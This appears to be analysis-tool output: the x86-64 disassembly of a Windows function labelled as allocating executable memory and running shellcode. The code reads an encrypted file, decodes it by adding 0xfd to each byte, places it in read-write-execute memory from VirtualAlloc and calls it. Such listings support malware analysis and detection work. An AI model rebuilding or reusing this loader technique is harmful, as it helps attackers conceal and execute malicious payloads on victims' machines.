Function at 0x140001290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x98], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x70]
call fcn.140002310
nop
mov rcx, qword [rsp + 0x70]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax - 0x80], 6
je 0x140001323
lea rdx, str.Failed_to_open_encrypted_file_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400027a0
mov rcx, rax
lea rdx, [0x140002970]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x1400015a3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
xor r12d, r12d
mov qword [rsp + 0x50], r12
mov word [rsp + 0x58], 1
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax - 0x48]
mov qword [rsp + 0x40], rcx
test rcx, rcx
sete byte [rsp + 0x48]
mov byte [rsp + 0x49], r12b
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x90], r12
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea rax, [rbp + 0x80]
mov qword [rsp + 0x50], rax
movzx r14d, byte [rsp + 0x49]
movzx edi, byte [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
movzx r15d, byte [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
test dil, dil
jne 0x1400013d6
test rbx, rbx
je 0x1400013d0
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400013d0
movzx r14d, al
jmp 0x1400013d3
mov rbx, r12
mov dil, 1
test r15b, r15b
jne 0x1400013f4
test rsi, rsi
je 0x1400013ee
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x1400013f1
mov rsi, r12
mov r15b, 1
test rbx, rbx
jne 0x140001493
test rsi, rsi
jne 0x14000149c
mov rcx, r12
mov r8, qword [rbp + 0x80]
cmp qword [rbp + 0x88], r8
je 0x14000143e
nop dword [rax]
add byte [r8 + rcx], 0xfd
inc rcx
mov rax, qword [rbp + 0x88]
mov r8, qword [rbp + 0x80]
sub rax, r8
cmp rcx, rax
jb 0x140001420
mov rdx, qword [rbp + 0x88]
sub rdx, r8
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000151c
lea rdx, str.Failed_to_allocate_memory_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400027a0
mov rcx, rax
lea rdx, [0x140002970]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x14000154b
test rsi, rsi
jne 0x140001406
test dil, dil
jne 0x1400014bd
test rbx, rbx
je 0x1400014ba
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400014ba
movzx r14d, al
jmp 0x1400014bd
mov rbx, r12
mov byte [rsp + 0x30], r14b
mov rax, qword [rbp + 0x88]
cmp rax, qword [rbp + 0x90]
je 0x1400014de
mov byte [rax], r14b
inc qword [rbp + 0x88]
jmp 0x1400014f6
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x88]
lea rcx, [rbp + 0x80]
call fcn.140002d00
test rbx, rbx
je 0x140001511
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x140001511
xor dil, dil
jmp 0x1400013b2
mov rbx, r12
mov dil, 1
jmp 0x1400013b2
mov r8, qword [rbp + 0x88]
mov rdx, qword [rbp + 0x80]
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, r12d
mov rcx, qword [rbp + 0x80]
test rcx, rcx
je 0x1400015a3
mov rdx, qword [rbp + 0x90]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001589
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001589
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002f4c
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x90], r12
mov rcx, qword [rsp + 0x70]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rdx + 0x70], rax
mov rcx, qword [rsp + 0x70]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0xb0]
mov dword [rsp + rdx + 0x6c], r8d
lea rcx, [rbp - 0x80]
call fcn.140002230
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov eax, ebx
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.140002ef0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret